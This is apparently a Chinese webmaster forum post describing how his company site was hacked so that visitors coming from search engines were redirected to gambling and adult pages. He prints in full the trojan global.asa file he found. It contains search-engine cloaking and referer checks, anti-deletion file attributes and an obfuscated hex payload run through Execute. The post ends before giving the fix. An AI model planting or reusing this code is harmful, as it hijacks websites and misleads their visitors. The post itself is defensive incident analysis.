AAAA 发表于 2012-9-18 06:37:46

网站被黑 站长的解决办法

最近单位网站在百度搜索点击打开都是黄色的,而直接输入网址反而没问题,在百度搜索中被提示为网站被黑的可能,很多客户搜索我们网站都进入了**,给公司的形象造成了很大的影响,作为公司的网站技术人员,以前也算是搞了5年的老站长了,什么事没惊着,从头开始分析网站被黑的原因。

  百度的收录为基础

  在百度Site下自己网站发现收录了许多**类内容快照,什么电影,什么美女主播,看了收录足足300多条快照,再看下网站首页的收录,发现已经面目全非了,百度快照都是空的。网站的标题都成了网站的地址了,内容也为空了。我这才意识到完了,网站肯定是被K了。

  首先问题的表面就是网站的收录剧增,都是收录一些恶意的内容和违法的内容(包括时时彩**什么的)。再一个表面特征是从搜索引擎来的点击会自动跳转到**上,自己输入网站则不会出现跳转。这时我充分的确定了是网站程序的问题,登陆空间FTP发现网站根目录下有许多陌生的文件夹,里面的网站文件打不开也删不掉,老提示没有权限删除。再往下级目录查看时发现了一个古怪的文件名,是global.asa 用sinesafe木马检测工具检测出是木马文件,内容如下:

  

  '网站全局文件

  sub Application_OnStart

  end sub

  sub Application_OnEnd

  end sub

  Public Function GetHtml(url)

  Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

  ObjXMLHTTP.Open "GET",url,False

  ObjXMLHTTP.setRequestHeader "User-Agent",url

  ObjXMLHTTP.send

  GetHtml=ObjXMLHTTP.responseBody

  Set ObjXMLHTTP=Nothing

  set objStream = Server.CreateObject("Adodb.Stream")

  objStream.Type = 1

  objStream.Mode =3

  objStream.Open

  objStream.Write GetHtml

  objStream.Position = 0

  objStream.Type = 2

  objStream.Charset = "gb2312"

  GetHtml = objStream.ReadText

  objStream.Close

  End Function

  Function check(user_agent)

  allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider",",")

  check_agent=false

  For agenti=lbound(allow_agent) to ubound(allow_agent)

  If instr(user_agent,allow_agent(agenti))>0 then

  check_agent=true

  exit for

  end if

  Next

  check=check_agent

  End function

  Function CheckRefresh()

  CheckRefresh = False

  Dim Botlist,i,Repls

  Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"

  Botlist = Split(Krobotlist,"|")

  For i = 0 To Ubound(Botlist)

  If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then

  CheckRefresh = True

  Exit For

  End If

  Next

  End Function

  sub Session_OnStart

  On Error Resume Next

  .servervariables("Path_Translated")

  Set s=Server.CreateObject("scripting.filesystemobject")

  set f=s.Getfile("//./" & Server.MapPath("/global.asa"))

  v=Request.Form&Request.QueryString

  if instr(v,".asa")>0 then

  f.Attributes=39

  response.end()

  end if

  if instr(name,";")>0 OR instr(server.MapPath("."),".as")>0 then

  s.Getfile(name).Attributes=0

  s.DeleteFile(name)

  f.Attributes=39

  response.end()

  end if

  S="636e6e62643d6c6361736528726571756573742e736572766572:O="":For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("o=o&chr(&H"&c&")"):Else:Execute("o=o&chr(&H"&c&Mid(s,i+2,2)&")"):i=i+2:End If:Next:execute o

  end sub

  看了这些代码我都有点懵圈了。

  Baiduspider,Sogou,baidu,Sosospider,Googlebot,FASTWebCrawler,MSNBOT,Slurp,Qihoo" 这一行代码 就是搜索引擎的条件跳转代码,也就是说这个木马是根据搜索引擎来的,只要是从百度和搜狗还有谷歌来的都会直接跳转到他设定的网站。

  还有一些是二进制的代码,是加了密的,我对解密不太懂,但是我的分析是他设定的跳转网址。找了几个朋友一起看了下代码,我的好朋友老刘说还有个条件跳转,是根据cookies和ip来跳转的,同一个IP和cookies只会弹窗一次,不会弹窗第二次。 黑客的手法也很高明,可见为了利益用了那么阴险的招。这种代码很安全,几乎不会让站长察觉到。

  既然根源找到,解决游刃有余
页: [1]
查看完整版本: 网站被黑 站长的解决办法